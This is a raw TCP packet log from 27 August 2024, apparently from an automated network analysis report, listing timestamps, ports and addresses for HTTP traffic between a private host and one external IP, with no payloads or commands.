Aug 27, 2024 09:49:41.514122009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514147997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514271021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514280081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514292002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514301062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514313936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514314890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514323950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514333963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514341116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514350891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514358997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514362097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514370918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514373064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514398098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514534950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514544010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514553070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514564991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514578104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514581919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514590025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514600992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514611959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514612913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514622927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514631033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514633894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514645100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514646053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514657021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514664888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514667988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514683962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514710903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514728069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514738083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514748096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514760017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514770985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514796019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514862061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514872074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514883041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514893055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514904022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514911890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.514920950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514955997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.514969110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515006065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515016079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515026093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515037060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515048027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515048981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515064001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515074968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515075922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515085936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515096903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515110016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515113115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515120983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515130997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515136957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515141964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515152931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515256882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515325069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515336037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515341997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515347004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515357971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515369892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515371084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515379906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.515392065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515404940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.515419960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.555664062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555727005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555789948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.555826902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555838108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555883884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555888891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.555895090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555905104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.555954933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.599617004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599630117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599638939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599698067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599709034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599719048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599730015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599737883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.599740982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599807024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.599822998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599833965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599843025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599853039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599864006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599867105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.599874973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.599893093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.599909067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600049973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600106955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600116968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600193977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600248098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600256920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600265026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600298882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600342989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600354910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600359917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600370884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600382090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600399017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600399017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600409985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600419998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600419998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600431919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600444078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600461960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600586891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600595951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600605965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600615978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600620985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600632906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600642920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600646019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600652933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600683928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600701094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600711107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600723028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600729942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600734949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600742102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600761890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600866079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600876093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600886106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600895882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600905895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600907087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600914955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600924969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600934982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600941896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600944996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600955963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600965023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.600969076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.600984097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601016998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601116896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601128101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601136923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601146936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601156950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601164103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601166964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601176977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601186991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601196051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601197004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601208925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601217031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601219893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601229906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601237059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601239920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601249933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601255894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601262093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601269960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601275921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601295948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601304054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601434946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601447105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601454973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601464987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601475954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601484060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601485968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601497889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601506948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601515055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601521969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601551056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601551056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601577997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601588011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601598024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601608992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601619005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601624012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601629972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601648092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601672888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601743937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601754904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601766109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601777077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601785898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601788044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601799965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601820946 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601847887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.601957083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601967096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601975918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601985931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.601996899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602005005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602008104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602019072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602027893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602029085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602040052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602046013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602051020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602062941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602082968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602130890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602140903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602150917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602160931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602170944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602185011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602200985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602201939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602210999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602212906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602221966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602233887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602241039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602243900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602253914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602263927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602268934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602274895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602283955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.602288008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.602324963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.642823935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642834902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642846107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642855883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642882109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642891884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642890930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.642904043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642916918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.642931938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.642957926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686507940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686522007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686532021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686603069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686620951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686623096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686634064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686696053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686717033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686728001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686737061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686752081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686774015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686781883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686784983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686794996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686839104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686858892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686868906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686877966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.686899900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686918020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.686994076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687002897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687011003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687045097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687119007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687175035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687201023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687210083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687220097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687252045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687313080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687321901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687328100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687333107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687339067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687387943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687391043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687397957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687402964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687414885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687484980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687489986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687572956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687664986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687685966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687696934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687741995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687777042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687788963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687796116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687802076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687812090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687817097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687838078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687891006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687901020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687903881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.687906981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687911987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687916994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687927008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.687956095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688034058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688043118 CEST	80	49715	188.114.96.3	192.168.2.8
